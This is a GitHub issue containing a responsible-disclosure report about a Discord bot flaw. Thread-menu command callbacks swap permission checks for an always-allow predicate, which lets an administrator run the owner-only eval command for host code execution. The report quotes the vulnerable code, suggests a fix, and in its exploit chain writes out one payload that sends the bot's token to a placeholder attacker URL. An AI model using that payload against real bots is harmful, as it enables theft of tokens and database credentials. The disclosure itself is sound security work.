Skip to content

Security finding - thread-menu command callbacks neutralize permission checks: ADMIN -> host RCE via eval #3454

Description

@Pajt9whauht283as

Security report (responsible disclosure)

Privilege escalation: thread-creation-menu command callbacks neutralize permission checks — ADMIN → host RCE via eval

Affected: core/thread.py:2904-2936 (and same primitive at :3223-3262), core/checks.py:46-50, bot.py:507-510, cogs/threadmenu.py:148-149, 214-218, 261-268

Two stacked flaws:

(a) The INVALID-level predicate is an always-allow wildcard, and the level is derived from the live checks list, which the flow controls:

# checks.py:46-50
permission_level = ctx.bot.command_perm(command_name)
if permission_level is PermissionLevel.INVALID:
    return True

(b) Menu execution swaps the real checks out and spoofs author = bot:

# thread.py:2929-2936
for ctx_ in ctxs:
    if ctx_.command:
        old_checks = copy.copy(ctx_.command.checks)
        ctx_.command.checks = [checks.has_permissions(PermissionLevel.INVALID)]
        try:
            await self.outer_thread.bot.invoke(ctx_)

Once swapped, command_perm() reads back only the injected INVALID predicate → unconditional allow. Independently, the synthetic message makes ctx.author.id == ctx.bot.user.id, which checks.py:42 also passes.

Meanwhile option callbacks are stored as raw free text with zero validation (threadmenu.py:214-218).

Verified exploit chain

  1. Attacker holds ADMINISTRATOR in the support guild (documented boundary below OWNER).
  2. {prefix}threadmenu option add → wizard → type=command → callback: eval __import__('urllib.request',fromlist=['x']).urlopen('https://attacker/?t='+bot.config['token']).read().
  3. Any random Discord user DMs the bot and clicks the dropdown option.
  4. The menu flow resolves all_commands.get("eval"), spoofs author to the bot, swaps checks to always-allow, invokes → eval (correctly OWNER-only normally) executes arbitrary Python inside the bot process with bot/config in scope → host RCE + Discord token + MongoDB credential theft.

Suggested fix

Validate callbacks at set time (resolve command; require its level ≤ configurator's); at invoke time do NOT swap checks — evaluate the target command's original level against a recorded "configurator level", never against a spoofed author.

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions